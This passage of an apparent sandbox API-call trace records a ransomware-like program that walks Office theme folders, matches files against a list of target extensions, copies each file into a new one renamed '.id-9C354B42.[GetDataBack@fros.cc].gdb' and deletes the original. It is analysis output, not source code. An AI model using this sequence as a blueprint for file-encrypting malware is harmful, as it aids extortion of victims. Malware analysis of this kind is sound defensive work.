(lpString=".dbf") returned 4 [0123.297] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.297] lstrlenW (lpString=".1cd") returned 4 [0123.297] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.297] lstrlenW (lpString=".jpg") returned 4 [0123.297] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.297] lstrlenW (lpString=".doc") returned 4 [0123.297] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.297] lstrlenW (lpString=".docx") returned 5 [0123.297] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.297] lstrlenW (lpString=".pdf") returned 4 [0123.297] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.297] lstrlenW (lpString=".xls") returned 4 [0123.297] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.297] lstrlenW (lpString=".xlsx") returned 5 [0123.297] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.297] lstrlenW (lpString=".ppt") returned 4 [0123.297] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.297] lstrlenW (lpString=".zip") returned 4 [0123.297] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.297] lstrlenW (lpString=".rar") returned 4 [0123.297] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.297] lstrlenW (lpString=".bz2") returned 4 [0123.297] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.297] lstrlenW (lpString=".7z") returned 3 [0123.297] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.298] lstrlenW (lpString=".dbf") returned 4 [0123.298] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.298] lstrlenW (lpString=".1cd") returned 4 [0123.298] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.298] lstrlenW (lpString=".jpg") returned 4 [0123.298] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.298] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0123.298] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0123.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0123.328] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=33009) returned 1 [0123.328] CloseHandle (hObject=0x200) returned 1 [0123.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0123.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0123.329] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0123.329] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0123.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.329] GetLastError () returned 0x0 [0123.329] ReadFile (in: hFile=0x200, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x80f1, lpOverlapped=0x0) returned 1 [0123.331] WriteFile (in: hFile=0x1cc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x8100, lpOverlapped=0x0) returned 1 [0123.332] ReadFile (in: hFile=0x200, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0123.332] WriteFile (in: hFile=0x1cc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0123.332] SetEndOfFile (hFile=0x1cc) returned 1 [0123.333] CloseHandle (hObject=0x1cc) returned 1 [0123.334] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0123.334] SetEndOfFile (hFile=0x200) returned 1 [0123.335] CloseHandle (hObject=0x200) returned 1 [0123.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.335] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0123.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.336] lstrlenW (lpString=".doc") returned 4 [0123.336] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.336] lstrlenW (lpString=".docx") returned 5 [0123.336] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.336] lstrlenW (lpString=".pdf") returned 4 [0123.336] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.336] lstrlenW (lpString=".xls") returned 4 [0123.336] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.336] lstrlenW (lpString=".xlsx") returned 5 [0123.336] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.336] lstrlenW (lpString=".ppt") returned 4 [0123.336] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.336] lstrlenW (lpString=".zip") returned 4 [0123.336] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.336] lstrlenW (lpString=".rar") returned 4 [0123.336] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.336] lstrlenW (lpString=".bz2") returned 4 [0123.336] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.336] lstrlenW (lpString=".7z") returned 3 [0123.336] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.336] lstrlenW (lpString=".dbf") returned 4 [0123.336] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.336] lstrlenW (lpString=".1cd") returned 4 [0123.336] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.336] lstrlenW (lpString=".jpg") returned 4 [0123.337] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.337] lstrlenW (lpString=".doc") returned 4 [0123.337] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.337] lstrlenW (lpString=".docx") returned 5 [0123.337] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.337] lstrlenW (lpString=".pdf") returned 4 [0123.337] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.337] lstrlenW (lpString=".xls") returned 4 [0123.337] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.337] lstrlenW (lpString=".xlsx") returned 5 [0123.337] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.337] lstrlenW (lpString=".ppt") returned 4 [0123.337] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.337] lstrlenW (lpString=".zip") returned 4 [0123.337] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.337] lstrlenW (lpString=".rar") returned 4 [0123.337] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.337] lstrlenW (lpString=".bz2") returned 4 [0123.337] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.337] lstrlenW (lpString=".7z") returned 3 [0123.337] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.337] lstrlenW (lpString=".dbf") returned 4 [0123.337] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.337] lstrlenW (lpString=".1cd") returned 4 [0123.337] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0123.337] lstrlenW (lpString=".jpg") returned 4 [0123.337] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.338] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0123.338] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0123.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.018] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=31837) returned 1 [0124.018] CloseHandle (hObject=0x198) returned 1 [0124.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0124.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.019] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.032] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0124.032] GetLastError () returned 0x0 [0124.032] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x7c5d, lpOverlapped=0x0) returned 1 [0124.034] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x7c60, lpOverlapped=0x0) returned 1 [0124.035] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0124.035] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0124.036] SetEndOfFile (hFile=0x224) returned 1 [0124.036] CloseHandle (hObject=0x224) returned 1 [0124.037] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.037] SetEndOfFile (hFile=0x198) returned 1 [0124.037] CloseHandle (hObject=0x198) returned 1 [0124.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.038] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0124.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.038] lstrlenW (lpString=".doc") returned 4 [0124.038] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.038] lstrlenW (lpString=".docx") returned 5 [0124.038] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.038] lstrlenW (lpString=".pdf") returned 4 [0124.038] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.038] lstrlenW (lpString=".xls") returned 4 [0124.038] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.038] lstrlenW (lpString=".xlsx") returned 5 [0124.038] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.038] lstrlenW (lpString=".ppt") returned 4 [0124.038] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.038] lstrlenW (lpString=".zip") returned 4 [0124.038] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.038] lstrlenW (lpString=".rar") returned 4 [0124.038] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.038] lstrlenW (lpString=".bz2") returned 4 [0124.038] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString=".7z") returned 3 [0124.039] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".dbf") returned 4 [0124.039] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".1cd") returned 4 [0124.039] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".jpg") returned 4 [0124.039] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".doc") returned 4 [0124.039] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString=".docx") returned 5 [0124.039] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.039] lstrlenW (lpString=".pdf") returned 4 [0124.039] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString=".xls") returned 4 [0124.039] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.039] lstrlenW (lpString=".xlsx") returned 5 [0124.039] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.039] lstrlenW (lpString=".ppt") returned 4 [0124.039] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".zip") returned 4 [0124.039] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.039] lstrlenW (lpString=".rar") returned 4 [0124.039] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.039] lstrlenW (lpString=".bz2") returned 4 [0124.039] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString=".7z") returned 3 [0124.039] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".dbf") returned 4 [0124.039] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".1cd") returned 4 [0124.039] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0124.039] lstrlenW (lpString=".jpg") returned 4 [0124.039] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.040] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0124.040] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0124.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.040] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1293) returned 1 [0124.040] CloseHandle (hObject=0x198) returned 1 [0124.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0124.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.040] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.040] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0124.042] GetLastError () returned 0x0 [0124.042] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x50d, lpOverlapped=0x0) returned 1 [0124.044] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x510, lpOverlapped=0x0) returned 1 [0124.044] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0124.044] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0124.044] SetEndOfFile (hFile=0x224) returned 1 [0124.045] CloseHandle (hObject=0x224) returned 1 [0124.046] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.046] SetEndOfFile (hFile=0x198) returned 1 [0124.046] CloseHandle (hObject=0x198) returned 1 [0124.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.047] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0124.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.047] lstrlenW (lpString=".doc") returned 4 [0124.047] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.047] lstrlenW (lpString=".docx") returned 5 [0124.047] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.047] lstrlenW (lpString=".pdf") returned 4 [0124.047] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.047] lstrlenW (lpString=".xls") returned 4 [0124.047] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.047] lstrlenW (lpString=".xlsx") returned 5 [0124.047] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.047] lstrlenW (lpString=".ppt") returned 4 [0124.047] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.047] lstrlenW (lpString=".zip") returned 4 [0124.047] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.047] lstrlenW (lpString=".rar") returned 4 [0124.047] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.047] lstrlenW (lpString=".bz2") returned 4 [0124.047] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.047] lstrlenW (lpString=".7z") returned 3 [0124.047] lstrcmpiW 